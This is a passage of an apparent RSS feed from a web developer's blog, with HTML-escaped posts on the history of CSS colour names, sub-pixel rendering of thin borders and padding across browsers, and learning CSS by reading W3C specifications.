&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1996Feb/0006.html&quot;&gt;CNS colors&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1996Jul/0166.html&quot;&gt;Color Names ; was Re: New CSS1 draft -Reply -Reply&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1997Dec/0114.html&quot;&gt;Color Keywords (was RE: Cascading Style Sheets)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1997Dec/0185.html&quot;&gt;Gray, color keywords&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1998Aug/0110.html&quot;&gt;What is VGA doing in CSS?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1998Nov/0071.html&quot;&gt;color in CSS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/2001Mar/0074.html&quot;&gt;Re: New Working Draft published: CSS3 module: Color&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/2002May/0122.html&quot;&gt;Last call comments on CSS3 module: color&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To read through whole threads, scroll down to the bottom and click through the &lt;em&gt;Next in thread&lt;/em&gt; link.&lt;/p&gt;
&lt;p&gt;Of course, there were also some light-hearted moments in there. Tongue-in-cheek seems to be a popular style of humour on that mailing list.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1997Dec/0039.html&quot;&gt;Color Standards (Silly)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1997Dec/0038.html&quot;&gt;what happened to the pantone colors?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1997Dec/0040.html&quot;&gt;ChromaFuzz&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Update: Increment Magazine&apos;s Frontend edition includes &lt;a href=&quot;https://increment.com/frontend/ask-an-expert-why-is-css-the-way-it-is/&quot;&gt;a feature by Chris Lilley&lt;/a&gt; which explains why the X11 colours were added to CSS. It&apos;s a must-read!&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;A story about &lt;code&gt;orange&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://meyerweb.com/&quot;&gt;Eric Meyer&lt;/a&gt; offered this lovely story of how &lt;code&gt;orange&lt;/code&gt; made it into the CSS2 specification. Turns out, he used &lt;code&gt;color: orange&lt;/code&gt; for a lot of tests in the CSS1 Test Suite, which the W3C published and browsers supported just fine.&lt;/p&gt;
&lt;p&gt;However, because &lt;code&gt;orange&lt;/code&gt; was never a colour name in CSS1, it was technically invalid CSS. (Refer to &lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1998Apr/0003.html&quot;&gt;Preview: CSS1 Test Suite&lt;/a&gt; where Ian Hickson picked out the fact that &lt;code&gt;orange&lt;/code&gt; is not in CSS1 and was an IE4 invention in &lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/1998Apr/0025.html&quot;&gt;his reply&lt;/a&gt; to the original post)&lt;/p&gt;
&lt;p&gt;Basically, &lt;code&gt;orange&lt;/code&gt; was added CSS2 pretty much specifically to make the CSS1 Test Suite valid, which led to jokes like “CSS2: Now with more orange!”. This incident was also referenced Easter-egg style in the January 1999 issue of &lt;a href=&quot;https://en.wikipedia.org/wiki/Web_Techniques&quot;&gt;Web Techniques&lt;/a&gt;.&lt;/p&gt;
&lt;img src=&quot;/images/posts/css-colours/web-techniques.jpg&quot; srcset=&quot;/images/posts/css-colours/web-techniques@2x.jpg 2x&quot; alt=&quot;Cover of the January 1999 issue of Web Techniques magazine&quot;&gt;
&lt;p&gt;Eric had written the cover article about CSS2 in that issue and requested a detergent-style cover with orange as the primary colour. The article&apos;s headline was also set in orange. I LOVE IT. And I&apos;ll close off this little anecdote with a quote from Eric:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Remember, the root of it is: I goofed. Always validate, kids!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;So I didn&apos;t manage to track down the actual reason why Sinclair Paint Co. named the white with a slightly reddish hue, “snow”, but I did find out a whole lot of interesting and entertaining things about colours.&lt;/p&gt;
&lt;p&gt;The surface has barely been scratched here. And as someone who loves colours, I&apos;m fairly certain this is not the end of things. Stay tuned, my friends!&lt;/p&gt;
&lt;h2&gt;Relevant links&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/X11_color_names&quot;&gt;Wikipedia: X11 color names&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://cgit.freedesktop.org/~alanc/xc-historical/log/xc/programs/rgb/rgb.txt&quot;&gt;Git log for rgb.txt on X11&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://people.csail.mit.edu/jaffer/Color/Dictionaries&quot;&gt;Color-Name Dictionaries&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://unix.stackexchange.com/a/75466&quot;&gt;Unix &amp;amp; Linux Stack Exchange: What are the origins of rgb.txt?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://arstechnica.com/information-technology/2015/10/tomato-versus-ff6347-the-tragicomic-history-of-css-color-names/&quot;&gt;“Tomato” versus “#FF6347”—the tragicomic history of CSS color names&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Sub-pixel rendering and borders</title><link>https://chenhuijing.com/blog/about-subpixel-rendering-in-browsers/</link><guid isPermaLink="true">https://chenhuijing.com/blog/about-subpixel-rendering-in-browsers/</guid><description>I was incredibly chuffed to have been able to speak at the inaugural Talk.CSS in Melbourne recently, and after the event, I had a nice chat with one of the…</description><pubDate>Sun, 11 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I was incredibly chuffed to have been able to speak at the inaugural &lt;a href=&quot;https://www.meetup.com/Melbourne-CSS/events/262802935/&quot;&gt;Talk.CSS&lt;/a&gt; in Melbourne recently, and after the event, I had a nice chat with one of the attendees about sub-pixel rendering issues for thin borders across different browsers.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Unofficial SingaporeCSS mascot making an appearance&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/sub-pixel/melcss-480.jpg 480w, /images/posts/sub-pixel/melcss-640.jpg 640w, /images/posts/sub-pixel/melcss-960.jpg 960w, /images/posts/sub-pixel/melcss-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/sub-pixel/melcss-640.jpg&quot; alt=&quot;Giving talk on layout at inaugural Talk.CSS in Melbourne&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;During my talk, I had very briefly touched upon the topic of sub-pixel rendering while covering margin collapsing. If you have a completely empty box, its margins along the block direction will collapse with each other.&lt;/p&gt;
&lt;h2&gt;Computed padding values&lt;/h2&gt;
&lt;p&gt;However, adding anything at all to the empty box, even a border or some padding will prevent this. At that point, I was curious to how low a value of padding could go before the browser treats it as nothing, and I found that for Firefox, you could go down to &lt;code&gt;0.0083333323709666669px&lt;/code&gt; but not &lt;code&gt;0.0083333323709666668px&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On Chrome, however, I could keep going on but I stopped at &lt;code class=&quot;break&quot;&gt;0.015624999534338711824899004199096452794037759304047px&lt;/code&gt;. Feel free to go on if you want to and let me know how far you can go. Safari had the same decimal points all the way down, so I assume Blink did not change the calculation from Webkit.&lt;/p&gt;
&lt;p&gt;Upon further inspection with DevTools for the 3 browsers I had on my laptop (who knows if browsers on Windows do something differently?), I noticed interesting things on how DevTools expressed the computed values.&lt;/p&gt;
&lt;p&gt;Firefox&apos;s box model diagram seems to express the padding effect correctly. Although there seems to be some magical content height going on there when padding gets rendered as a non-zero value.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Firefox DevTools&apos; attempt at displaying excessive decimals&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/sub-pixel/firefox-480.png 480w, /images/posts/sub-pixel/firefox-640.png 640w, /images/posts/sub-pixel/firefox-960.png 960w, /images/posts/sub-pixel/firefox-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/sub-pixel/firefox-640.png&quot; alt=&quot;Difference between rendering padding of 0.0083333323709666669px and 0.0083333323709666668px in Firefox&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;As for Chrome and Safari, it seems that the box model diagram doesn&apos;t reconcile with what we see in the browser and there is also something going on with the computed values being shown.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Chrome&apos;s box model diagram seems confused&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/sub-pixel/chrome-480.png 480w, /images/posts/sub-pixel/chrome-640.png 640w, /images/posts/sub-pixel/chrome-960.png 960w, /images/posts/sub-pixel/chrome-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/sub-pixel/chrome-640.png&quot; alt=&quot;Difference between rendering padding of 0.015624999534338711824899004199096452794037759304046px and 0.015624999534338711824899004199096452794037759304047px in Chrome&quot;&gt;
&lt;/figure&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Safari&apos;s computed values seem to have some rounding somewhere&lt;/figcaption&gt;
  &lt;img srcset=&quot;/images/posts/sub-pixel/safari-480.png 480w, /images/posts/sub-pixel/safari-640.png 640w, /images/posts/sub-pixel/safari-960.png 960w, /images/posts/sub-pixel/safari-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/sub-pixel/safari-640.png&quot; alt=&quot;Difference between rendering padding of 0.015624999534338711824899004199096452794037759304046px and 0.015624999534338711824899004199096452794037759304047px in Safari&quot;&gt;
&lt;/figure&gt;
&lt;h2&gt;On floating point numbers&lt;/h2&gt;
&lt;p&gt;On a tangent, this reminded me of an issue with the display of calculation outputs consisting of floating point numbers. Floating point values are a small subset of rational numbers which have a very huge range and constant precision, which works well for computers.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ieeexplore.ieee.org/document/8766229&quot;&gt;IEEE 754&lt;/a&gt;, which is the technical standard for floating-point arithmetic defines arithmetic formats, interchange rules, rounding rules, operations and exception handling. I&apos;m guessing that browsers conform to this standard when dealing with sub-pixel rounding, but I can&apos;t be sure.&lt;/p&gt;
&lt;h2&gt;On the rendering of borders&lt;/h2&gt;
&lt;p&gt;Back to the discussion on borders. I use &lt;a href=&quot;https://github.com/hakimel/reveal.js/&quot;&gt;reveal.js&lt;/a&gt; a lot for my presentation slides and the default table style uses a &lt;code&gt;1px&lt;/code&gt; border between table rows. On certain resolutions, with different browsers, sometimes the border does not render.&lt;/p&gt;
&lt;p&gt;A solution to this issue is to instead use the value of &lt;code&gt;thin&lt;/code&gt; for the &lt;code&gt;border-width&lt;/code&gt; property. This is a good time to talk about the CSS borders, as a refresher.&lt;/p&gt;
&lt;p&gt;Borders have been around since &lt;a href=&quot;https://www.w3.org/TR/CSS1/&quot;&gt;CSS1&lt;/a&gt; as part of the box model. The main properties that define how a border looks like are &lt;code&gt;border-width&lt;/code&gt;, &lt;code&gt;border-style&lt;/code&gt; and &lt;code&gt;border-color&lt;/code&gt;. All 3 properties are shorthands used to set the border properties for all 4 sides of the box.&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;border-width&lt;/code&gt;, you could use keyword values like &lt;code&gt;thin&lt;/code&gt;, &lt;code&gt;medium&lt;/code&gt; or &lt;code&gt;thick&lt;/code&gt;, as well as standard CSS length values. The thing about these keyword values is that &lt;a href=&quot;https://www.w3.org/TR/css-backgrounds-3/#the-border-width&quot;&gt;the specification&lt;/a&gt; does not define exactly how the browsers should resolve them.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The lengths corresponding to thin, medium, and thick are not specified, but the values are constant throughout a document and thin ≤ medium ≤ thick. A UA could, e.g., make the thickness depend on the medium font size: one choice might be 1, 3 &amp;amp; 5px when the medium font size is 17px or less. Negative &amp;lt;length&amp;gt; values are not allowed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I hadn&apos;t tested every single browser, just Chrome, Firefox and Safari, but all 3 of them do indeed use the suggested &lt;code&gt;1px&lt;/code&gt;, &lt;code&gt;3px&lt;/code&gt; and &lt;code&gt;5px&lt;/code&gt; respectively.&lt;/p&gt;
&lt;p&gt;It is highly probable that the reason using &lt;code&gt;thin&lt;/code&gt; seems to resolve the disappearing border issue is that each browser resolves the keyword in a manner that fits its own rendering engine&apos;s calculations. So even though &lt;code&gt;thin&lt;/code&gt; and &lt;code&gt;1px&lt;/code&gt; should have the same result, using &lt;code&gt;thin&lt;/code&gt; is a better option.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Sub-pixel rounding affects many aspects of browser rendering and it was interesting to read &lt;a href=&quot;https://johnresig.com/blog/sub-pixel-problems-in-css/&quot;&gt;John Resig&apos;s observations&lt;/a&gt; on his test case involving child &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s sized with percentage values.&lt;/p&gt;
&lt;p&gt;Another sub-pixel rounding issue was documented by the engineers at &lt;a href=&quot;https://web.archive.org/web/20190309113345/https://www.symbiote.com.au/blog/yes-even-firefox-gets-it-wrong/&quot;&gt;Symbiote&lt;/a&gt;, who encountered the issue of rounding the calculated height of text when using &lt;code&gt;em&lt;/code&gt; or &lt;code&gt;rem&lt;/code&gt; values on the &lt;code&gt;line-height&lt;/code&gt; property.&lt;/p&gt;
&lt;p&gt;This seems like a long-standing issue with browser rendering but there doesn&apos;t seem to be a clear solution. If anyone has any insight on the state of sub-pixel rendering, or can point me to the right people to ask, I&apos;d greatly appreciate it. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;folded hands&quot;&gt;🙏&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>Learning CSS by reading specs</title><link>https://chenhuijing.com/blog/learning-css-by-reading-specifications/</link><guid isPermaLink="true">https://chenhuijing.com/blog/learning-css-by-reading-specifications/</guid><description>Recently I got the chance to do an interview with Vitaly Friedman as part of the run-up to View Source Conference taking place in September this year. One of…</description><pubDate>Tue, 06 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently I got the chance to do an interview with &lt;a href=&quot;https://twitter.com/smashingmag&quot;&gt;Vitaly Friedman&lt;/a&gt; as part of the run-up to &lt;a href=&quot;https://2019.viewsourceconf.org/&quot;&gt;View Source Conference&lt;/a&gt; taking place in September this year. One of the things we chatted about was around new CSS.&lt;/p&gt;
&lt;iframe src=&quot;https://player.vimeo.com/video/353173490&quot; width=&quot;640&quot; height=&quot;360&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;My good friend, &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt;, is an incredible technical writer who is very involved in documentation for open-source projects. She wrote most of the &lt;a href=&quot;https://react-redux.js.org/&quot;&gt;React-Redux&lt;/a&gt; documentation and is one of the core maintainers for &lt;a href=&quot;https://docusaurus.io/&quot;&gt;Docusaurus&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;.&lt;a href=&quot;https://twitter.com/wgao19?ref_src=twsrc%5Etfw&quot;&gt;@wgao19&lt;/a&gt; wrote large sections of our new React-Redux docs, and has done a fantastic job (which I think is what got her involved with Docusaurus in the first place). She&amp;#39;s worth following, and this umbrella issue on documenting Docusaurus v2 looks worth reading! &lt;a href=&quot;https://t.co/oltj6XEgh2&quot;&gt;https://t.co/oltj6XEgh2&lt;/a&gt;&lt;/p&gt;&amp;mdash; Mark Erikson (@acemarke) &lt;a href=&quot;https://twitter.com/acemarke/status/1156012102114430981?ref_src=twsrc%5Etfw&quot;&gt;July 30, 2019&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;Having a close friend so involved with documentation made me think a bit more about this aspect of software development that I personally feel is highly underrated.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: after writing this whole thing I realised it went on longer than I expected, so the TL:DR of it is, don&apos;t be wary of reading CSS specifications. They help immensely in understanding CSS.&lt;br&gt;
Also, you, yes YOU, can contribute to the development of CSS as well.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Warning, story time…&lt;/h2&gt;
&lt;p&gt;I&apos;ve worked at a variety of different organisations, from agencies to start-ups to larger enterprise companies, and have been part of teams that have very different attitudes toward documentation.&lt;/p&gt;
&lt;p&gt;The most memorable experience I had was at a start-up which focused on applying machine learning techniques on large datasets from organisations who had troves of data but no expertise to do anything with them.&lt;/p&gt;
&lt;p&gt;The team in Singapore had been working on a machine learning platform but never managed to see it through as our Singapore office was shut down.&lt;/p&gt;
&lt;img src=&quot;/images/posts/read-specs/team.jpg&quot; srcset=&quot;/images/posts/read-specs/team@2x.jpg 2x&quot; alt=&quot;Deep Labs team at work back in 2017&quot;&gt;
&lt;p&gt;But that year of working with highly experienced and skilled senior engineers, each experts in their respective fields, taught me more about software engineering than my all prior work experience combined.&lt;/p&gt;
&lt;p&gt;One common thread among all of them was their emphasis on clear and comprehensive documentation.&lt;/p&gt;
&lt;h2&gt;CSS specifications are documentation, kinda&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://tympanus.net/codrops/&quot;&gt;Codrops&lt;/a&gt; has a really nice &lt;a href=&quot;https://tympanus.net/codrops/css_reference/&quot;&gt;CSS reference&lt;/a&gt; section that was largely written by the indomitable &lt;a href=&quot;https://www.sarasoueidan.com/&quot;&gt;Sara Soueidan&lt;/a&gt;. I had helped out with some of the later entries after Sara moved on to other projects. The reason I&apos;m so familiar with CSS Grid is because I wrote &lt;a href=&quot;https://tympanus.net/codrops/css_reference/grid/&quot;&gt;the entry for that&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Every entry that I wrote gave me reason to go through the relevant CSS specification with a fine-toothed comb, in addition to researching any tutorials and blog posts that covered the same thing, but in a different voice.&lt;/p&gt;
&lt;p&gt;But the specification always remained my single source of truth, which gave me enough clarity to discern if information on an article or blog post wasn&apos;t entirely accurate. I now refer to the specification for every blog post I write about CSS, and more often than not, I&apos;m discovering something I didn&apos;t know before.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Accurate depiction of me&lt;/figcaption&gt;
    &lt;video controls autoplay muted loop&gt;
      &lt;source src=&quot;/videos/amazing.mp4&quot; type=&quot;video/mp4&quot; /&gt;
      Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
      but don&apos;t worry, you can &lt;a href=&quot;/videos/amazing.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
      favourite video player!
    &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;One of the things that Vitaly brought up during our interview is some people find the specification intimidating, that it seems like a really technical document with paragraphs and paragraphs of hard to decipher text.&lt;/p&gt;
&lt;p&gt;To me, that is partly true, especially for specifications written &lt;a href=&quot;https://www.w3.org/Style/2011/CSS-process&quot;&gt;before CSS3&lt;/a&gt;, when the decision was made to split up the specification into different modules to make it easier to develop and maintain. And I too have had the experience of reading the same paragraph multiple times and still being none the wiser.&lt;/p&gt;
&lt;p&gt;I also have the advantage of being fluent in English, and hence am in a privileged position of being able to consume the information in the specification relatively quicker and easier than people for whom English is not their first language.&lt;/p&gt;
&lt;p&gt;That being said, when Vitaly asked me if there was one thing I wished I knew when I started by career in web development, my answer was to have known to read the CSS specifications from day 1.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://www.w3.org/Style/CSS/members&quot;&gt;CSS Working Group&lt;/a&gt; have poured in a significant amount of time and effort to be as comprehensive as possible in defining how CSS should behave.&lt;/p&gt;
&lt;p&gt;To quote &lt;a href=&quot;https://twitter.com/fantasai&quot;&gt;Elika Etemad (AKA fantasai)&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You don&apos;t need to be a programmer or a CS major to understand the CSS specifications. You don&apos;t need to be over 18 or have a Bachelor&apos;s degree. You just need to be very pedantic, very persistent, and very thorough.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Getting started with specifications&lt;/h2&gt;
&lt;p&gt;Luckily for all of us, a number of articles and resources have been written specifically for the purpose of easing people into reading W3C specifications. If you&apos;ve never visited the &lt;a href=&quot;https://www.w3.org/Style/CSS/&quot;&gt;W3C&apos;s CSS home page&lt;/a&gt;, I recommend starting there.&lt;/p&gt;
&lt;p&gt;It is constantly updated with what the CSS Working Group is up to, which specifications have been officially updated, as well as news on relevant events and conferences .&lt;/p&gt;
&lt;p&gt;Knowing about the history of CSS is also beneficial because it sheds light on how CSS developed over the past two decades and why certain things are the way they are today.&lt;/p&gt;
&lt;p&gt;December 17, 2016 was the 20th anniversary of CSS, and the W3C published a commemorative website, &lt;a href=&quot;https://www.w3.org/Style/CSS20/&quot;&gt;20 Years of CSS&lt;/a&gt;, to celebrate that milestone.&lt;/p&gt;
&lt;p&gt;There is a full list of all completed specifications and drafts by the CSS Working Group, so that is the best place to keep abreast of all the latest developments. As for the actual reading of specifications, &lt;a href=&quot;http://alistapart.com/article/readspec/&quot;&gt;How to Read W3C Specs&lt;/a&gt; by &lt;a href=&quot;https://catcode.com/&quot;&gt;J. David Eisenberg&lt;/a&gt; is possibly the best place to start.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/Style/CSS/read&quot;&gt;Understanding the CSS Specifications&lt;/a&gt; by Elika provides a nice roadmap of which specifications to cover first and also highlights a number of projects we can get involved in if we&apos;re interested in contributing.&lt;/p&gt;
&lt;h2&gt;Contributing to the development of CSS&lt;/h2&gt;
&lt;p&gt;One of the most fortunate things in my web development career is getting to know people who work on browsers, specifications and the web platform.&lt;/p&gt;
&lt;p&gt;The amount of insight I received from them simply from casual conversation has been invaluable in shaping my view of this industry that I&apos;ve chosen to make a career out of.&lt;/p&gt;
&lt;p&gt;I first met &lt;a href=&quot;https://rachelandrew.co.uk/&quot;&gt;Rachel Andrew&lt;/a&gt; when she came over to Singapore for &lt;a href=&quot;https://2016.cssconf.asia/&quot;&gt;CSSConf.Asia 2016&lt;/a&gt;, and she gamely agreed to participate in a panel for &lt;a href=&quot;https://singaporecss.github.io/12/&quot;&gt;Talk.CSS Anniversary Special&lt;/a&gt;.&lt;/p&gt;
&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/Y6aWQ7h70rA&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen&gt;&lt;/iframe&gt;
&lt;p&gt;She is someone who I consider a true CSS Advocate, and she has made it a point to encourage web developers like you and I to provide feedback to the specification writers and browser vendors and help contribute to the development of the web platform.&lt;/p&gt;
&lt;p&gt;For me, CSS is and will always be my favourite open-source project.&lt;/p&gt;
&lt;h3&gt;Writing/talking about CSS&lt;/h3&gt;
&lt;p&gt;Trying out CSS features, especially the newer ones, then writing or speaking about how it works, how it solves a particular use-case, or doesn&apos;t is very helpful, not only to other developers who might encounter similar situations, but also specification authors and browser vendors.&lt;/p&gt;
&lt;p&gt;If we shy away from using newer features simply because they are not widely supported, we&apos;re initiating a negative cycle that ends up pushing that feature further away from broad browser support. Browser vendors do take note of buzz around CSS features when it comes to prioritisation.&lt;/p&gt;
&lt;p&gt;Sometimes I wonder if developers forget that browsers are also software projects built by and maintained engineers like you and I. As with any software project, features and bugs have to get prioritised because even though companies like Google and Microsoft are huge, the teams working on browsers are not that big.&lt;/p&gt;
&lt;p&gt;When CSS grid first came out back in 2017, it generated quite a lot of buzz and one particular tweet by &lt;a href=&quot;https://twitter.com/patrickkettner&quot;&gt;Patrick Kettner&lt;/a&gt; compelled me to write a &lt;a href=&quot;/blog/a-little-more-kindness&quot;&gt;brief note about kindness&lt;/a&gt; (and sometimes the lack thereof) in our industry.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;&lt;a href=&quot;https://twitter.com/marcosc&quot;&gt;@marcosc&lt;/a&gt; &lt;a href=&quot;https://twitter.com/jsscclr&quot;&gt;@jsscclr&lt;/a&gt; tons of thoughts, and not enough time to tweetstorm, so... &lt;a href=&quot;https://t.co/KO4zAgk0Ot&quot;&gt;pic.twitter.com/KO4zAgk0Ot&lt;/a&gt;&lt;/p&gt;&amp;mdash; Patrick Kettner (@patrickkettner) &lt;a href=&quot;https://twitter.com/patrickkettner/status/843264670429409281&quot;&gt;March 19, 2017&lt;/a&gt;&lt;/blockquote&gt;
&lt;p&gt;My point is, please try out as many new features as possible. You don&apos;t have to use them in production, a side project here or a CodePen there, just to see how it works, is good enough. And if you have some time, a short write-up, even in bullet form will do. Browser vendors are listening.&lt;/p&gt;
&lt;h3&gt;Raising issues on the CSS working drafts repo&lt;/h3&gt;
&lt;p&gt;CSS specifications are not being developed in a deep underground cave by mysterious people in dark robes chanting around a bubbling cauldron. They are done in the open. Everybody can take part in the discussions the &lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/&quot;&gt;mailing list, www-style@w3.org&lt;/a&gt;, and you can &lt;a href=&quot;https://lists.w3.org/Archives/Public/www-style/&quot;&gt;subscribe here&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/read-specs/shield-480.jpg 480w, /images/posts/read-specs/shield-640.jpg 640w, /images/posts/read-specs/shield-960.jpg 960w, /images/posts/read-specs/shield-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/read-specs/shield-640.jpg&quot; alt=&quot;Scene with 3 robed figures from Marvel Agents of S.H.E.I.L.D.&quot;&gt;
&lt;p&gt;If mailing lists aren&apos;t your thing, then raising an issue on &lt;a href=&quot;https://github.com/w3c/csswg-drafts&quot;&gt;GitHub&lt;/a&gt; also works fine. All the CSS working drafts are being written and developed on GitHub, so it&apos;s really interesting to follow along and see how a specification evolves throughout its development.&lt;/p&gt;
&lt;p&gt;Granted a lot of the discussion is taking place between specification authors, browser vendors and specialists in their respective fields (accessibility, internationalisation, typography etc.), but there are also developers like you and I inquiring about specific use cases and asking for clarification as well.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;These are the fine folk from the CSSWG&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/read-specs/csswg-480.jpg 480w, /images/posts/read-specs/csswg-640.jpg 640w, /images/posts/read-specs/csswg-960.jpg 960w, /images/posts/read-specs/csswg-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/read-specs/csswg-640.jpg&quot; alt=&quot;Group photo of the CSSWG at San Francisco&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Ideally, you&apos;d want to be clear and specific about your use-case and provide a simplified test case that best illustrates the issue, if that&apos;s applicable. Most of the time, somebody will be able to help you out or tag someone who can.&lt;/p&gt;
&lt;p&gt;For me, simply reading the issues I find interesting is fascinating enough, because usually they revolve around use-cases that I never even thought of, and I have developed a greater appreciation of the amount of thought put into the specifications from that.&lt;/p&gt;
&lt;h3&gt;Logging bugs with respective browser vendors&lt;/h3&gt;
&lt;p&gt;One of the CSS properties I&apos;m especially interested in is &lt;code&gt;writing-mode&lt;/code&gt;. To be fair, it&apos;s probably most applicable to those of us who use East Asian languages like Chinese or Japanese. But that doesn&apos;t mean those of you who don&apos;t have to miss out on the fun.&lt;/p&gt;
&lt;p&gt;Vertical text has been used in the world of graphic design for the longest time, and &lt;a href=&quot;&quot;&gt;Jen Simmons&lt;/a&gt; has lots of demos that show how vertical text can be used for art-directed layouts. But I digress. This section is about browser bugs.&lt;/p&gt;
&lt;p&gt;Because vertical writing on the web is comparatively less used than some other CSS features, there were some bugs that didn&apos;t get flushed out. But I was doing quite a lot of experimentation with vertical layouts at the time and encountered a pretty trippy bug in Firefox.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/vertical-typesetting/whoa-480.jpg 480w, /images/posts/vertical-typesetting/whoa-640.jpg 640w, /images/posts/vertical-typesetting/whoa-960.jpg 960w, /images/posts/vertical-typesetting/whoa-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/vertical-typesetting/whoa-640.jpg&quot; alt=&quot;Flexbox issue with vertical writing-mode on Firefox&quot;&gt;
